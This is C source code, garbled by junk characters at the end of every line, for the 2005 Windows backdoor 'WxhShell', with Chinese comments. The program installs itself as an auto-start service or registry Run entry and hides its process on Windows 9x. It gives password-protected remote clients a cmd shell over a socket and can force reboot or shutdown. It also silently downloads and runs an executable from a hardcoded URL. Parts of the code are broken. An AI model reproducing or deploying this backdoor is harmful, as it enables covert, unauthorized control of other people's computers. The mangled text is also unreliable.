    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LP3#f{U  
    else { >^8O:.  
    closesocket(wsh); kV-<[5AWW  
    ExitThread(0); Z<U,]iZB  
    } QW..=}pL  
    break; CKw-HgXG  
    } )\U:e:Zae  
  // 获取shell }0 ~$^J  
  case 's': { /fQcrd7h  
    CmdShell(wsh); e]<Syrk  
    closesocket(wsh); .+7n@Sc  
    ExitThread(0); d% EdvM|)  
    break; DLwlA !z  
  } piIZ*@'  
  // 退出 <?7CwW  
  case 'x': { RXRbW%b  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9FEhl~&  
    CloseIt(wsh); ZfM]A)  
    break; e.\>GwM  
    } 2d[tcn$;h]  
  // 离开 _ $PeFE2  
  case 'q': { 4'faE="1)S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Fd8nR9A  
    closesocket(wsh); d /jx8(0  
    WSACleanup(); dcKpsX  
    exit(1); u7!gF&tA  
    break;  2_$8Ga  
        } `!8\ |/  
  } |\bNFnn(  
  } c coi  
~HY)$Yp;  
  // 提示信息 e_-g|ukC  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]W3u~T*  
} df{?E):  
  } n%r>W^2j  
lG6&uMvo  
  return; lB}?ey   
} s.(.OXD&  
y9}qB:[bR  
// shell模块句柄 f y|JE9Io_  
int CmdShell(SOCKET sock) hn.(pI1  
{ :b9#e g  
STARTUPINFO si; <B%wq>4S  
ZeroMemory(&si,sizeof(si)); b'( AVA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ioe.[&o6B  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]xf89[;0  
PROCESS_INFORMATION ProcessInfo; \m`IgP*  
char cmdline[]="cmd"; QXI~Toddj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hLfWDf*T|  
  return 0; h5{//0 y  
} <\*)YKjn/@  
{9J|\Zz3  
// 自身启动模式 W3l[a^1d  
int StartFromService(void) d{TcjZ  
{ +@$VJM%^7b  
typedef struct l|842N@1  
{ Ov" wcJ  
  DWORD ExitStatus; ^uo,LTq+  
  DWORD PebBaseAddress; padV|hF3(e  
  DWORD AffinityMask; ]:ca=&>  
  DWORD BasePriority; Fpo}UQQbc  
  ULONG UniqueProcessId; oVqx)@$K  
  ULONG InheritedFromUniqueProcessId; ?Gf'G{^}  
}   PROCESS_BASIC_INFORMATION; K*^'t ltJ  
hgZvti  
PROCNTQSIP NtQueryInformationProcess; wgDAb#Zuk  
9X[378f+(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !yg &zzP*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; VI3fvGHat{  
f$</BND  
  HANDLE             hProcess; :WH{wm|  
  PROCESS_BASIC_INFORMATION pbi; HF*~bL  
)fXxkOd  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5hqXMs  
  if(NULL == hInst ) return 0; ko.% @Y(=  
z:UkMn[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0gyvRM@ x[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); D}%VZA}].  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); FoIK, MdJ  
DN8I[5O  
  if (!NtQueryInformationProcess) return 0; 4Zjd g`  
{\?f|mm q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gy1kb,MO  
  if(!hProcess) return 0; )YCH>Za  
r<]^.]3zj  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [:,|g;=Y}  
uUl ;}W  
  CloseHandle(hProcess); c[1{>z{G  
jKP75jm  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .yzXw8~S  
if(hProcess==NULL) return 0; :wzbD,/M  
?@A@;`0Y  
HMODULE hMod; @#"K6  
char procName[255];  :A#'8xE/  
unsigned long cbNeeded; 6o#J  
;8F6a:\v  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3b?-83a  
>$<Q:o}^  
  CloseHandle(hProcess); zBrIhL]95  
tIA)LF  
if(strstr(procName,"services")) return 1; // 以服务启动 lYS4Q`z$  
q q^[(n  
  return 0; // 注册表启动 *~`oA~-Q  
} qvsfU*wo?  
Z(E .F,k  
// 主模块 bz&9]% S<  
int StartWxhshell(LPSTR lpCmdLine) ,0L< wa  
{ 11$v~<M  
  SOCKET wsl; 84(jg P  
BOOL val=TRUE; Q1h v2*/U  
  int port=0; N9c#N%cu  
  struct sockaddr_in door; T~>&m~} +  
U:/_T>f%  
  if(wscfg.ws_autoins) Install(); v@X[0J_8  
Mc  
port=atoi(lpCmdLine); JjAO9j%  
}WQ:Rmi  
if(port<=0) port=wscfg.ws_port; $~EY:  
.Gno K?  
  WSADATA data; 3,+Us B%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RXPl~]k#i  
;?o"{mbb  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   oxCfSA  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a`||ePb|W~  
  door.sin_family = AF_INET; y9:o];/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "Q23s"  
  door.sin_port = htons(port); ~O~we  
'?|.#D#-c  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { OUHd@up@n  
closesocket(wsl); +w?1<Z  
return 1; Tq6@ 1j6p  
} QD[l 6  
IetV]Ff6  
  if(listen(wsl,2) == INVALID_SOCKET) { Z${@;lgP  
closesocket(wsl); B@3>_};Ct  
return 1; BW)t2kR&  
} z Hj_q%A  
  Wxhshell(wsl); KrECAc  
  WSACleanup(); @0:mP  
}>Lz\.Z/+[  
return 0; ku5g`ho  
"%t !+E>nr  
} g.EKdvY"%H  
1 pzd  
// 以NT服务方式启动 qr/N?,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \AR3DDm  
{ 6 dCqS  
DWORD   status = 0; iu,Bmf^oD  
  DWORD   specificError = 0xfffffff; 6? (8KsaN  
dZbG#4oO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )ULxB'Dm  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %hzNkyD)Y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *!(?=9[  
  serviceStatus.dwWin32ExitCode     = 0; p4zV<qZ>e  
  serviceStatus.dwServiceSpecificExitCode = 0; q->46{s|  
  serviceStatus.dwCheckPoint       = 0; fI(H :N  
  serviceStatus.dwWaitHint       = 0; i `8Y/$aT  
A7 :W0Gg  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hmd,g>J:<  
  if (hServiceStatusHandle==0) return; T\HP5&  
_nnl+S>K  
status = GetLastError(); \RP=Gf  
  if (status!=NO_ERROR) Neb%D8/Kn  
{ hta$ k%2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +hvVoBCM*  
    serviceStatus.dwCheckPoint       = 0; ?9H.JR2s%  
    serviceStatus.dwWaitHint       = 0; ~Urj:l  
    serviceStatus.dwWin32ExitCode     = status; yYTiAvN  
    serviceStatus.dwServiceSpecificExitCode = specificError; ">RDa<H]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <$;fOp  
    return; 8>jd2'v{  
  } Y-,1&$&  
0r\hX6 k  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ol@ YSkd  
  serviceStatus.dwCheckPoint       = 0; \+w -{"u$  
  serviceStatus.dwWaitHint       = 0; V/!8q`lYNJ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]pA}h. R#-  
} <<![3&p#  
Ts:pk  
// 处理NT服务事件,比如:启动、停止 WS0RvBvb  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Wm ?RB0  
{ , v6[#NU_Z  
switch(fdwControl) ex2*oqAdX  
{ Ih95&HsdC  
case SERVICE_CONTROL_STOP: c~Hq.K$d  
  serviceStatus.dwWin32ExitCode = 0; LNU9M>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; V# 6`PD6  
  serviceStatus.dwCheckPoint   = 0; = %7:[#n  
  serviceStatus.dwWaitHint     = 0; "|"bo5M:   
  { F;&'C$%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WYE[H9x1?  
  } Im_`q\i  
  return; Wc_Ph40C<_  
case SERVICE_CONTROL_PAUSE: |3g:q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; C31SXQ  
  break; 1<qq69x  
case SERVICE_CONTROL_CONTINUE: ^Q_0Zq^H  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *%cI,}%   
  break; O@_)]z?jUc  
case SERVICE_CONTROL_INTERROGATE: sOW-GWSE<  
  break; #H1yjJQ /x  
}; cj<j *(ZZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vexQP}N0  
} Hp":r%)  
b_=k"d  
// 标准应用程序主函数 S?=2GY  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) uoKC+8GA  
{ aARm nV  
EY!aiH6P  
// 获取操作系统版本 @,sg^KB  
OsIsNt=GetOsVer(); !/$BXUrd  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5,qfr!hN,  
,[^P  
  // 从命令行安装 X;p,Wq#D'  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4//Ww6W:  
4oOe  
  // 下载执行文件 58MBG&a%  
if(wscfg.ws_downexe) { g!%csf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c66Iy"  
  WinExec(wscfg.ws_filenam,SW_HIDE); :h3 Gk;u  
} VxfFk4  
7z6yn= B  
if(!OsIsNt) { c{#lKD<7  
// 如果时win9x,隐藏进程并且设置为注册表启动 82V xk  
HideProc(); eGLLh_V"  
StartWxhshell(lpCmdLine); c-avX  
} ")(1z@  
else ^QV;[ha,o  
  if(StartFromService()) `pN]Ykt  
  // 以服务方式启动 W?/7PVGv5h  
  StartServiceCtrlDispatcher(DispatchTable); K)0 6][ ,  
else jvm "7)h  
  // 普通方式启动 \"PlM!0du  
  StartWxhshell(lpCmdLine); ;mo}$^49*  
8'#%7+ "=!  
return 0; Ar=pzQ<Z{  
} T cSj `-  
e[n T'e  
<<&:BK   
Cl>'K*$F  
=========================================== Z)7 {e"5d  
9^s sT>&/  
k2*^W&Z  
2@ACmh  
oChcEx%  
WE`Y!  
" |vWx[=`o  
*+qXX CA  
#include <stdio.h> G*wn[o(^j  
#include <string.h> S` X;2\:  
#include <windows.h> X'[S Cs  
#include <winsock2.h> T?7 ZF+yo6  
#include <winsvc.h> OjeM#s#N!  
#include <urlmon.h> C2eei're  
j|HOry1E&  
#pragma comment (lib, "Ws2_32.lib") 6z=:x+m  
#pragma comment (lib, "urlmon.lib") =UNzjmP503  
h+ELtf  
#define MAX_USER   100 // 最大客户端连接数 Fz)z&WT  
#define BUF_SOCK   200 // sock buffer t_@%4Wn!1L  
#define KEY_BUFF   255 // 输入 buffer eVbHPu4  
R^_/iy  
#define REBOOT     0   // 重启 +69sG9BA  
#define SHUTDOWN   1   // 关机 4"wuqr|o  
8<?60sj  
#define DEF_PORT   5000 // 监听端口 "PJ@Q9n__  
@ZK|k  
#define REG_LEN     16   // 注册表键长度 XRj<2U 5  
#define SVC_LEN     80   // NT服务名长度 lgA9p 4-  
"vjz $.  
// 从dll定义API  }e9:2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )+mbR_@,O6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5oWR}qqFK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -jFt4Q7}8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7=mU["raz`  
|3\ mH~Bw  
// wxhshell配置信息 {b+!0[  
struct WSCFG { ](- :l6  
  int ws_port;         // 监听端口 P*R`3Y,  
  char ws_passstr[REG_LEN]; // 口令 $N5}N\C:a  
  int ws_autoins;       // 安装标记, 1=yes 0=no V!3O 1  
  char ws_regname[REG_LEN]; // 注册表键名 ,uE WnZ"4  
  char ws_svcname[REG_LEN]; // 服务名 ]X4A)%i  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 oe4Fy}Y_;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 UG48g}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 L&'2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no CQzJ_aSJ (  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" S1;#5 8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 QSEf  
+lU:I  
}; (+bk +0  
U{n 0Z  
// default Wxhshell configuration SH5GW3\h  
struct WSCFG wscfg={DEF_PORT, xC!,v 0&  
    "xuhuanlingzhe", 3@s|tm1  
    1, +vBq,'k`  
    "Wxhshell", m/%sBw\rx  
    "Wxhshell", i4v7x;m_p  
            "WxhShell Service", [D?RL `ZF  
    "Wrsky Windows CmdShell Service", *V3}L Z  
    "Please Input Your Password: ", K )1K ]  
  1, i@Q)`>4  
  "http://www.wrsky.com/wxhshell.exe", 4wMKl6mL  
  "Wxhshell.exe" +'hcFZn(T  
    }; "F}a nPY  
qS|bpC0x  
// 消息定义模块 :kfl q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; TQ.d|{B[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?fc({zb  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; a` 95eL}  
char *msg_ws_ext="\n\rExit."; R.*KaCA  
char *msg_ws_end="\n\rQuit."; wp-*S}TT  
char *msg_ws_boot="\n\rReboot..."; -GDX#A-J  
char *msg_ws_poff="\n\rShutdown..."; X]tjT   
char *msg_ws_down="\n\rSave to "; KE&Y~y8O\  
\ d+&&ns  
char *msg_ws_err="\n\rErr!"; :_i1)4[!  
char *msg_ws_ok="\n\rOK!"; j!qO[CJJ  
^'*9,.ltd  
char ExeFile[MAX_PATH]; rM<c;iQ  
int nUser = 0; S;a{wYF6v  
HANDLE handles[MAX_USER]; \O^b|0zc  
int OsIsNt; I/_`/mQ  
-?&wD["y  
SERVICE_STATUS       serviceStatus; UP 75}h9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ZVR0Kzu?Ra  
W$v5o9\Px  
// 函数声明 ?msx  
int Install(void); 6*/0 yGij  
int Uninstall(void); h$G&4_O  
int DownloadFile(char *sURL, SOCKET wsh); 9L]x9lI;  
int Boot(int flag); N3TkRJZ  
void HideProc(void); c*9RzD#Zj  
int GetOsVer(void); =sPY+~<o  
int Wxhshell(SOCKET wsl); 3 =KfNz_  
void TalkWithClient(void *cs); q[ ] "`?  
int CmdShell(SOCKET sock); pZuYmMP  
int StartFromService(void); %f#3;tpC8  
int StartWxhshell(LPSTR lpCmdLine); a7)q^;:O  
smF#'"{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |Xlc2?e  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @w[WG:-+  
P'KaWu9z  
// 数据结构和表定义 KaZ*HPe(  
SERVICE_TABLE_ENTRY DispatchTable[] = O+@"l$;N  
{ wtndXhVC4>  
{wscfg.ws_svcname, NTServiceMain}, 8h78Zb&[  
{NULL, NULL} ^EN_C<V;"d  
}; %XMrS lSOp  
` Cdk b5  
// 自我安装 CY? ]o4IV  
int Install(void) Aj*0nV9_  
{ W r );A{  
  char svExeFile[MAX_PATH]; >w9fFm!Q  
  HKEY key; ~2beVQ(U  
  strcpy(svExeFile,ExeFile); bBW(# Q_a  
d>M&jSCL  
// 如果是win9x系统,修改注册表设为自启动 ;m,lS_[c  
if(!OsIsNt) { MP-A^QT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J@=1zL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KCGs*kp>  
  RegCloseKey(key); /iQ}DbtRb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _~d C>`K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y [0 S  
  RegCloseKey(key); qDxz`}Ly=  
  return 0; t^)q[g  
    } $h`?l$jC(@  
  } p)(mF"\8=  
} o 4L9Xb7=G  
else { \( LKLlam  
[#fXmW>N/  
// 如果是NT以上系统,安装为系统服务 KM*sLC#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); HIcx "y  
if (schSCManager!=0) :=+s^K  
{ &kB[jz_[A  
  SC_HANDLE schService = CreateService >r2m1}6g"  
  ( L~cswG'K  
  schSCManager, J/pW*G-U|  
  wscfg.ws_svcname, 2^Tj7@  
  wscfg.ws_svcdisp, &,4^LFZ W  
  SERVICE_ALL_ACCESS, SXSH9;j  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7]_UZ)u  
  SERVICE_AUTO_START, Sd2R $r  
  SERVICE_ERROR_NORMAL, =#[_8)q  
  svExeFile, dJ"3F(X  
  NULL, kzZtKN9Az  
  NULL, JUok@6  
  NULL, ^)m]j`}IGb  
  NULL, l!ltgj  
  NULL Hv>A$x$q  
  ); 4xuL{z;\  
  if (schService!=0) !bFa\6]q  
  { h6}oRz9=g  
  CloseServiceHandle(schService); B!K{y>|.  
  CloseServiceHandle(schSCManager); c=<d99Cu!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C"PN3>x}j  
  strcat(svExeFile,wscfg.ws_svcname); hun L V8z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c>{6NSS -  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); yb1A(~  
  RegCloseKey(key); [3>l^Q|#  
  return 0; 6|r` k75.  
    } *r!1K!c  
  } wh l)^D  
  CloseServiceHandle(schSCManager); W@GcE;#-  
} Sdz!J 1  
} j0L9Q|s  
U5jY/e_  
return 1; 6*Qn9Q%p-  
} 1b+ B  
yL^1s\<ddW  
// 自我卸载 0|9(oP/:  
int Uninstall(void) ELeR5xT  
{ M. 1R]x( |  
  HKEY key; -N(y+~wN  
{dhuvB  
if(!OsIsNt) { $74ZC M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +?zyFb]Km  
  RegDeleteValue(key,wscfg.ws_regname); EJO:3aKa  
  RegCloseKey(key); HdGAE1eU]}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,G S8Gu  
  RegDeleteValue(key,wscfg.ws_regname); BhJqMK>'S  
  RegCloseKey(key); d i`}Y&  
  return 0; =L{lt9qQz  
  } _SjS^z~  
} a"&@G=M@d  
} "tBdz V  
else { e2*0NT^R  
&_HSrU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); W}EI gVHs  
if (schSCManager!=0) #M&rmKv)g  
{ @g(N!n~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  7=0uG  
  if (schService!=0) .!RBh LH_g  
  { PA 5ET@mD  
  if(DeleteService(schService)!=0) { I >k3X~cG  
  CloseServiceHandle(schService); 8s-RNA>7^  
  CloseServiceHandle(schSCManager); u{"o*udU  
  return 0; EC&t+"=R  
  } N*$<Kjw  
  CloseServiceHandle(schService); x~!B.4gT2  
  } H@bra~k-  
  CloseServiceHandle(schSCManager); V:9|9$G  
} J4 .C"v0a  
} [Tby+pC  
~;_]U[eOL  
return 1; GeWB"(t  
} E)3B)(@&P  
[bUM x  
// 从指定url下载文件 }]>[FW  
int DownloadFile(char *sURL, SOCKET wsh) 18z{d9'F   
{ m <IPi <  
  HRESULT hr; l <<0:~+q  
char seps[]= "/"; QbP W_)N  
char *token; kX zm  
char *file;  g2L  
char myURL[MAX_PATH]; AT}}RE@vq  
char myFILE[MAX_PATH]; p/ pVMR  
M(HU^?B{'  
strcpy(myURL,sURL); gF^l`1f"  
  token=strtok(myURL,seps); MB" uJUk  
  while(token!=NULL) jy(,^B,]  
  { U2 <*BRJ  
    file=token; vC E$)z'"  
  token=strtok(NULL,seps); 9"52b 9U  
  } ?{?mAb c  
7'S/hV%  
GetCurrentDirectory(MAX_PATH,myFILE); ^W9[PE#F  
strcat(myFILE, "\\"); w(8q qU+\  
strcat(myFILE, file); 1 >jG*tr  
  send(wsh,myFILE,strlen(myFILE),0); `I,A7b  
send(wsh,"...",3,0); O*d&H;;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~QFD ^SoK  
  if(hr==S_OK) C$){H"#  
return 0; hhlQ!WV2  
else bYQ h{q  
return 1; 0bQaXxt|p  
@;qC % +^  
} {S%)GvrT  
yT`[9u,  
// 系统电源模块 /%po@Pm#I  
int Boot(int flag) Wy@Z)z?  
{ ^c83_93)R  
  HANDLE hToken; bxyEn'vNvQ  
  TOKEN_PRIVILEGES tkp; tPPnW  
@g9j+DcU  
  if(OsIsNt) { 2`+?s  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ZLyJ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =rl/ l8|P  
    tkp.PrivilegeCount = 1; Re5m  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \3n{%\_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); t;Jt+k~  
if(flag==REBOOT) { IJ!]1fXy+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |xZDc6HDW  
  return 0; OHssUt  
} C,n]9  
else { ogs9obbZ!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L Tp5T|O  
  return 0; <4bv=++pS  
} Ictc '#y  
  } GC66n1- X  
  else { \hdR&f5q  
if(flag==REBOOT) { o m`r^3,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vVc:[i  
  return 0; Z{+h~?63  
} Y:&1;`FBZ  
else { K6KEdXM4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,r{*o6  
  return 0; 4U<'3~RN  
} <]/`#Xgh  
} m}:";>?#  
K_{x y#H  
return 1; %=/Y~ml?  
} vNL f)B  
iN*d84KTP  
// win9x进程隐藏模块 to[EA6J8l  
void HideProc(void) v|VY5vN  
{ EhEn|%S  
ABNsi$]r0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); PtO-%I<N  
  if ( hKernel != NULL ) G\Hck=P[$3  
  { L'6_~I  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q&(?D  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); MFX&+c  
    FreeLibrary(hKernel); (sS[F-2R7  
  } C@pDX>~2=b  
6NbIT[LvT  
return; *D~@xypy  
} Id]WKL:  
4en&EWUr  
// 获取操作系统版本 uQ&&? j  
int GetOsVer(void) @_Aqk{3  
{ ^4Tr @g#]"  
  OSVERSIONINFO winfo; }CsUZ&*&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zF;}b3oIo  
  GetVersionEx(&winfo); 86/CA[Y-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L}nj#z4g  
  return 1; <%JdQ82?  
  else v 8{oXzyy  
  return 0; PdMx6 Ab  
} cy)L%`(7  
sa#=#0yg  
// 客户端句柄模块 $MKx\qx}  
int Wxhshell(SOCKET wsl) on*?O O'  
{ V?Lf& X?  
  SOCKET wsh; o80pmy7@  
  struct sockaddr_in client; ~Az20RrK)  
  DWORD myID; ETH`.~%  
a&#Z=WK4  
  while(nUser<MAX_USER) 1)#<nk)I  
{ A&$!s)8z  
  int nSize=sizeof(client); H b]    
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $msT,$NJ  
  if(wsh==INVALID_SOCKET) return 1; \VHi   
.{7?Y;_(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); mt fDl;/D  
if(handles[nUser]==0) H\8i9RI  
  closesocket(wsh); +SPC@E_v  
else -5p=gO  
  nUser++; GuM-H $,  
  } XS9k&~)*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); GJ%It .  
;TmwIZ  
  return 0; Cd7 j G  
} Se"\PxBR  
Ip8 Ap$  
// 关闭 socket Yr-,0${m  
void CloseIt(SOCKET wsh) k49CS*I  
{ X%`8h _  
closesocket(wsh); s<:"rw`  
nUser--; . Nog.  
ExitThread(0); 4I:Jb;k>  
} (`3 Bi]7  
H.Jcp|k[;  
// 客户端请求句柄 y>~=o9J_u  
void TalkWithClient(void *cs) SjlkKulMF  
{ }y=7r!{@  
.a=M@; p  
  SOCKET wsh=(SOCKET)cs; bRNE:))r_  
  char pwd[SVC_LEN]; zG [-n.  
  char cmd[KEY_BUFF]; 'G-VhvM v  
char chr[1]; .vG6\U7  
int i,j; oVl:./(IB  
z+wV(i97  
  while (nUser < MAX_USER) { 1)u= &t,  
y::KjB 0  
if(wscfg.ws_passstr) { WgE~H)_%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VrF]X#\)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); He#+zE ;  
  //ZeroMemory(pwd,KEY_BUFF); _<t3~{qUT  
      i=0; JFYeOmR+l  
  while(i<SVC_LEN) { |8+<qgQ  
@D0Ut9)  
  // 设置超时 -uv1$|  
  fd_set FdRead; ucoBeNsHx  
  struct timeval TimeOut; =b`>ggw#  
  FD_ZERO(&FdRead); Oo7n_h1  
  FD_SET(wsh,&FdRead); aEZl ICpU7  
  TimeOut.tv_sec=8; Aba6/  
  TimeOut.tv_usec=0; lJ7k4ua\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); m?[F)<~a  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t$\]6RU  
O,^,G<`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >IoOCQQ*  
  pwd=chr[0]; !m_'<=)B4~  
  if(chr[0]==0xd || chr[0]==0xa) { $9W9*WQL  
  pwd=0; IH>+P]+3"3  
  break; !vImmhI!I  
  } D#(A?oN  
  i++; X+&@$v1  
    } diTzolY7  
L x9`y t6  
  // 如果是非法用户,关闭 socket  .':SD{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _9L2JN$R6  
} :&_@U$  
Xj !0jF33  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); CuuHRvU8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <&H.pN1_  
cG"jrQ  
while(1) { "G`)x+<~Z8  
vtL)  
  ZeroMemory(cmd,KEY_BUFF); )}paQmy#  
Gc@ENE f  
      // 自动支持客户端 telnet标准   6 _73  
  j=0; ^GRd;v=-@  
  while(j<KEY_BUFF) { uidE/7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6GJ?rE E/  
  cmd[j]=chr[0]; z#,?*v  
  if(chr[0]==0xa || chr[0]==0xd) { yGS._;#R  
  cmd[j]=0; T( ;BEyc?  
  break; bZ3CJ f&mE  
  } |$1j;#h  
  j++; g{<3*,  
    } anl?4q3;9  
k U3] eh\I  
  // 下载文件 P6IhpB59  
  if(strstr(cmd,"http://")) { YdeSJ(:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); dX+DE(y  
  if(DownloadFile(cmd,wsh)) Q@d X2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (5Cm+Sy  
  else r/{0Y Fa  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t$Qav>D  
  } ;| \Ojuf  
  else { @<alWBS  
?+5K2Zk  
    switch(cmd[0]) { ~hM4({/QN  
  c-s ~q/  
